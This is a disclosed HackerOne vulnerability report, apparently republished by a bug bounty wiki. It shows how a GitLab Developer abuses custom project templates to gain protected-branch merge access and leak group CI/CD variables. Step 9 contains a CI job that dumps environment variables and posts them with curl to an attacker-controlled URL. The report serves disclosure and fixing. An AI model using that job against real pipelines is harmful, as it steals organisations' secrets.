Developer can leak group and any subgroup’s CI/CD variables using Custom project templates functionality
A developer could leak group and subgroup CI/CD variables by using the custom project templates feature to import a template project, gaining merge access on a protected branch, and then running a CI job that exfiltrates the variables. The attacker could obtain sensitive CI/CD variables from the group or any subgroup.
GitLab
Originally disclosed on GitLab
- Fixed in 4 months
- Disclosed after 4 months
⚠️ Please read the process on how to fix security issues before starting to work on the issue. Vulnerabilities must be fixed in a security mirror.
HackerOne report #2021616 by theluci on 2023-06-12, assigned to @ottilia_westerlund:
Report | Attachments | How To Reproduce
Report
Hello,
Gitlab recently fixed several bugs that allowed a developer to import a project and leak group’s CI/CD variables. To protect against these types of attacks, Gitlab set the minimum role for importing projects to maintainer.
Gitlab also made the Custom project templates functionality reusable by developers in enterprise edition.
However, I found a bug using which a Developer can leak group or any subgroup’s CI/CD variables using Custom project templates functionality.
Background
Gitlab provides a Premium/Ultimate feature custom project templates functionality.
The owner of the top-level group can set a subgroup to be used as a source of custom templates for new projects in the group and in any of the subgroups.
Vulnerability
When issue https://gitlab.com/gitlab-org/gitlab/-/issues/407374 was fixed gitlab changed importing logic as follows,
When a member imports a project where specific members are Allowed to merge/Allowed to push and merge -

Then Gitlab replaces user_id of the member allowed to merge with the user_id of the member importing the project.
That is, the member importing the project gets Allowed to merge/Allowed to push and merge access on the protected branch.
<------------------------------------------Important---------------------------------------------->
It was probably thought that only maintainers/owners can import a project, thus, them getting allowed to merge access will not be a bug.
However, Custom project template functionality internally imports the template project.
Thus, if any maintainer, owner, or any other member has allowed to merge permission on protected branch of any of the templates. Then, developer can just import the template (using custom project template functionality) and get allowed to merge setting on the protected branch.
<------------------------------------------------------------------------------------------------------>
Steps to reproduce
(Your instance must have an ultimate trial)
victimcreates a groupvictim-group.victimcreates a subgroupsubgroup-to-be-templateand template projectstemplate1,template2inside.victimgoes tohttp://<Your_Instance_IP>/groups/<victim-group>/-/edit, Expand Custom project templates and selectsubgroup-to-be-templatevictimgoes to template1 repository settingshttp://<Your_Instance_IP>/<victim-group>/<subgroup-to-be-template>/template1/-/settings/repository, Expand Protected branches and gives himself Allowed to merge OR Allowed to push and merge access on protected branch.

In a real-world scenario, it may not be the owner but any member (maybe a maintainer or some other member) that has Allowed to merge/Allowed to push and merge access on protected branch of any of the templates.
It might also be possible that no roles are Allowed to merge/Allowed to push and merge but specific users (any user).
As victim,
5. victim goes to http://<Your_Instance_IP>/groups/<victim-group>/-/settings/ci_cd, **Expand Variables ** and adds some CI/CD variables.
6. victim goes to http://<Your_Instance_IP>/groups/<victim-group>/-/group_members and adds attacker as Developer.
As attacker,
7. attacker goes to victim-group, clicks on new project and chooses Create from template.
8. attacker uses template1 and creates attacker-project
attacker now have Allowed to merge/Allowed to push and merge access on protected branch of attacker-project.
9. attacker adds the following .gitlab-ci.yml file
job_name:
script:
- export > test.txt
- curl -X POST --data "$(cat test.txt)" attacker-controlled-url
The group's CI/CD variables are sent to attacker-controlled-url.
Output of checks
This bug happens on Self-hosted Gitlab Instance.
Results of GitLab environment info
System information
System: Ubuntu 20.04
Proxy: no
Current User: git
Using RVM: no
Ruby Version: 3.0.6p216
Gem Version: 3.4.13
Bundler Version:2.4.13
Rake Version: 13.0.6
Redis Version: 6.2.11
Sidekiq Version:6.5.7
Go Version: unknown
GitLab information
Version: 16.0.4-ee
Revision: 7d6834bd32e
Directory: /opt/gitlab/embedded/service/gitlab-rails
DB Adapter: PostgreSQL
DB Version: 13.11
URL: http://x.x.x.x
HTTP Clone URL: http://x.x.x.x/some-group/some-project.git
SSH Clone URL: [email protected]:some-group/some-project.git
Elasticsearch: no
Geo: no
Using LDAP: no
Using Omniauth: yes
Omniauth Providers:
GitLab Shell
Version: 14.20.0
Repository storages:
- default: unix:/var/opt/gitlab/gitaly/gitaly.socket
GitLab Shell path: /opt/gitlab/embedded/service/gitlab-shell
Impact
Developer of a group can leak group or any subgroup’s CI/CD variables.
Attachments
Warning: Attachments received through HackerOne, please exercise caution!
How To Reproduce
Please add reproducibility information to this section:
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the custom project templates import process did not properly restrict the permissions granted to the importing user, allowing a developer to gain merge access on protected branches and then run CI jobs with access to group CI/CD variables.
What the attacker needed
Ultimate trial or license; Victim sets up custom project templates; Attacker is a Developer in the group; Template has protected branch with merge access
How it was found
- Victim creates a group and a subgroup with template projects.
- Victim sets the subgroup as the source for custom project templates.
- Victim gives themselves merge access on a protected branch of a template project.
- Victim adds CI/CD variables to the group and adds the attacker as a Developer.
- Attacker creates a new project from the template, gaining merge access on its protected branch.
- Attacker adds a CI configuration that exports environment variables and sends them to an external URL.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
CI/CD variables are secret values used in automated build and deployment jobs. A developer could abuse a feature that copies project templates to gain permission to change protected branches, then run a job that sends those secrets to an external server.
What is Info disclosure?
Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.